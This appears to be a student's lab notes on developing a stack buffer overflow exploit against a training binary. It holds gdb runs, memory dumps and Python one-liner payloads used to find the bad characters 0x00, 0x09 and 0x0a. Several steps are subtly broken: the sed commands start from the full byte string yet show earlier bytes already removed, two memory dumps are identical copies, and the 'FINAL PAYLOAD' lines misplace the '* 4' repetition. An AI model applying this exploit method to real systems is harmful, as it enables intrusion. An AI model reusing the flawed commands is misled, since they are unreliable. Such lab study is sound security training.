(gdb) run $(python -c 'print "\x55" * (1040 - 256 - 4) + "\x00\x01\x02\x03\x04\x05...<SNIP>...\xfc\xfd\xfe\xff" + "\x66" * 4')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/htb-student/bow $(python -c 'print "\x55" * (1040 - 256 - 4) + "\x00\x01\x02\x03\x04\x05...<SNIP>...\xfc\xfd\xfe\xff" + "\x66" * 4')
/bin/bash: warning: command substitution: ignored null byte in input
Breakpoint 1, 0x5655554d in bowfunc ()
* note the warning about null byte which is an indication of BAD CHARS
IDENTIFY FIRST BAD CHARACTER
Analyze the stack & identify the first bad character. Look for the place where the CHARS start which should be after the 0x55s...
(gdb) x/2000xb $esp+500
0xffffd28a: 0xbb 0x69 0x36 0x38 0x36 0x00 0x00 0x00
0xffffd292: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xffffd29a: 0x00 0x2f 0x68 0x6f 0x6d 0x65 0x2f 0x73
0xffffd2a2: 0x74 0x75 0x64 0x65 0x6e 0x74 0x2f 0x62
0xffffd2aa: 0x6f 0x77 0x2f 0x62 0x6f 0x77 0x33 0x32
0xffffd2b2: 0x00 0x55 0x55 0x55 0x55 0x55 0x55 0x55
# |---> "\x55"s begin
0xffffd2ba: 0x55 0x55 0x55 0x55 0x55 0x55 0x55 0x55
0xffffd2c2: 0x55 0x55 0x55 0x55 0x55 0x55 0x55 0x55
<SNIP>
0xffffd5aa: 0x55 0x55 0x55 0x55 0x55 0x55 0x55 0x55
0xffffd5b2: 0x55 0x55 0x55 0x55 0x55 0x55 0x55 0x55
0xffffd5ba: 0x55 0x55 0x55 0x55 0x55 0x01 0x02 0x03
# |---> CHARS begin
# 0x00 identified as BAD remove it
0xffffd5c2: 0x04 0x05 0x06 0x07 0x08 0x00 0x0b 0x0c
0xffffd5ca: 0x0d 0x0e 0x0f 0x10 0x11 0x12 0x13 0x14
0xffffd5d2: 0x15 0x16 0x17 0x18 0x19 0x1a 0x1b 0x1c
<SNIP>
* where the "\x55" ends, and the CHARS variable begins, it starts with "\x01" instead
of "\x00
- this null byte is the first BAD CHARACTER that must be removed!
* x means examine memory
* /2000b — format and count
- 2000 = the count of units to display.
b = unit type = byte. So 2000b prints 2000 bytes.
Other unit suffixes: h = halfword (2 bytes), w = word (4 bytes),
g = giant/quad (8 bytes).
* $esp+500 — the start address to examine: the current value of the ESP register
plus 500 bytes.
* 500 is an offset from the stack pointer that moves the view down the stack to where
the buffer/filler begins. It was chosen by eye or by earlier inspection so the
output starts a little before the \x55 filler.
* 2000 is a “safe big window” that ensures the entire
payload (filler + CHARS + EIP + some surrounding stack) appears in the dump.
The debugger will print that many bytes, which can be large but is convenient
when you do not know exact boundaries.
- Both numbers are arbitrary in the sense that you can change them. Better
practice is to compute minimal values so your output is focused and easy to
inspect.
- Using values like 2000 for the length and 500 for the offset in a GDB memory dump is
a common, safe practice when analyzing stack-based buffers. The 2000 bytes ensures
that you capture roughly 2 KB of memory, which is usually sufficient to see the
entire injected buffer, any CHARS sequences, and the saved return address without
running into unmapped memory. The 500 byte offset simply shifts the view slightly
past $esp, providing context around the top of the stack and the start of the
buffer. While these numbers are not exact, they are conservative defaults that work
for most typical 32-bit Linux stack layouts. For precise analysis, one could
calculate offsets based on the exact distance from $esp to the buffer start and
from the buffer to EIP, but using “safe” defaults like 2000 and 500 is widely
accepted in practice and avoids the need to guess.
* the main point is to find the first BAD CHARACTER!
//previous buffer size and payloads
Buffer = "\x55" * (1040 - 256 - 4) = 780
CHARS = "\x00\x01\x02\x03\x04\x05...<SNIP>...\xfd\xfe\xff"
EIP = "\x66" * 4
//remove the 0x00 bad character
root@sre:~$ CHARS="\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
root@sre:~$ CHARS=$(echo "$CHARS" | sed 's/\\x00//g')
root@sre:~$ echo $CHARS | sed 's/\\x/ /g' | wc -w
255
root@sre:~$ echo $CHARS
\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff
//modified buffer size and payload
Buffer = "\x55" * (1040 - 255 - 4) = 781 # Substract the number of removed characters
CHARS = "\x01\x02\x03...<SNIP>...\xfd\xfe\xff" # "\x00" removed: 256 - 1 = 255 bytes
EIP = "\x66" * 4
PAYLOAD LAYOUT: payload = filler_byte * FILL + CHARS + eip_byte * EIP_SIZE
FINAL PAYLOAD: run $(python -c 'print("\x55" * (1040 - 255 - 4) + "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff") * 4')
IDENTIFY SECOND BAD CHARACTER
Send payload without NULL bytes
(gdb) run $(python -c 'print("\x55" * (1040 - 255 - 4) + "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff") * 4')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/htb-student/bow $(python -c 'print("\x55" * (1040 - 255 - 4) + "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff") * 4')
Breakpoint 1, 0x5655554d in bowfunc ()
(gdb) x/2000xb $esp+550
<SNIP>
0xffffd5ba: 0x55 0x55 0x55 0x55 0x55 0x01 0x02 0x03
0xffffd5c2: 0x04 0x05 0x06 0x07 0x08 0x00 0x0b 0x0c
# |----| <- "\x09" expected
# \x09 is identified as BAD remove it
0xffffd5ca: 0x0d 0x0e 0x0f 0x10 0x11 0x12 0x13 0x14
<SNIP>
* notice that the "\x00" instead of the "\x09" was encountered. This tells us that
this character is not allowed here and must be removed accordingly.
* the change from $esp+500 to $esp+550 reflects a small adjustment in the starting
point to account for how much of your injected buffer is actually present on the
stack at that moment. When you initially chose $esp+500, it was an arbitrary “safe”
guess to get near the start of your payload without hitting unmapped memory. After
injecting the first batch of bytes and observing the stack, you could see exactly
where your buffer begins, so you adjusted the offset slightly to $esp+550 to more
precisely point to the start of your test characters (\x00, \x01, etc.).
- Essentially, the +50 increase is not random—it’s based on the observed memory
layout. Once you identify where your injected pattern lands, you can set the
offset to start right at the first byte you want to analyze, making it easier to
detect which characters are treated as bad. This iterative adjustment is a
normal part of bad-character analysis.
- $esp+550 is not arbitrary—it’s calculated based on where the first byte of your
test pattern actually appears on the stack. Once you know that, you can start
analyzing the bytes from that point onward to identify the first bad
character (0x00 in this case) and continue with the methodical bad-character
testing.
* Here it depends on our bytes' correct order in the variable CHARS to see if any
character changes, interrupts, or skips the order.
//previous buffer size and payloads
Buffer = "\x55" * (1040 - 255 - 4) = 781
CHARS = "\x01\x02\x03\x04\x05...<SNIP>...\xfd\xfe\xff"
EIP = "\x66" * 4
//remove the 0x09 bad character
root@sre:~$ CHARS="\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
root@sre:~$ CHARS=$(echo "$CHARS" | sed 's/\\x09//g')
root@sre:~$ echo $CHARS | sed 's/\\x/ /g' | wc -w
254
root@sre:~$ echo $CHARS
\x01\x02\x03\x04\x05\x06\x07\x08\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff
//modified buffer size and payload
Buffer = "\x55" * (1040 - 254 - 4) = 782 # Substract the number of removed characters
CHARS = "\x01\x02\x03...<SNIP>...\xfd\xfe\xff" # "\x00" removed: 256 - 2 = 254 bytes
EIP = "\x66" * 4
PAYLOAD LAYOUT: payload = filler_byte * FILL + CHARS + eip_byte * EIP_SIZE
FINAL PAYLOAD: run $(python -c 'print("\x55" * (1040 - 254 - 4) + "\x01\x02\x03\x04\x05\x06\x07\x08\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff") * 4')
CONTINUE IDENTIFYING BAD CHARACTERS UNTIL NONE LEFT
Send payload without "\x00" & "\x09"...repeat the process until all bad characters are identified and removed!
//Send CHARS - Without "\x00" & "\x09"
(gdb) run $(python -c 'print("\x55" * (1040 - 254 - 4) + "\x01\x02\x03\x04\x05\x06\x07\x08\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" + "\x66") * 4')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/htb-student/bow $(python -c 'print("\x55" * (1040 - 254 - 4) + "\x01\x02\x03\x04\x05\x06\x07\x08\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" + "\x66") * 4')
Breakpoint 1, 0x5655554d in bowfunc ()
(gdb) x/2000xb $esp+550
<SNIP>
0xffffd5ba: 0x55 0x55 0x55 0x55 0x55 0x01 0x02 0x03
0xffffd5c2: 0x04 0x05 0x06 0x07 0x08 0x00 0x0b 0x0c
# |----| <- "\x0a" expected
# \x0a identified as BAD remote it
0xffffd5ca: 0x0d 0x0e 0x0f 0x10 0x11 0x12 0x13 0x14
<SNIP>
//previous buffer size and payloads
Buffer = "\x55" * (1040 - 254 - 4) = 782
CHARS = "\x00\x01\x02\x03\x04\x05...<SNIP>...\xfd\xfe\xff"
EIP = "\x66" * 4
//remove the 0x0a bad character
root@sre:~$ CHARS="\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
root@sre:~$ CHARS=$(echo "$CHARS" | sed 's/\\x0a//g')
root@sre:~$ echo $CHARS | sed 's/\\x/ /g' | wc -w
253
root@sre:~$ echo $CHARS
\x01\x02\x03\x04\x05\x06\x07\x08\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff
//modified buffer size and payload
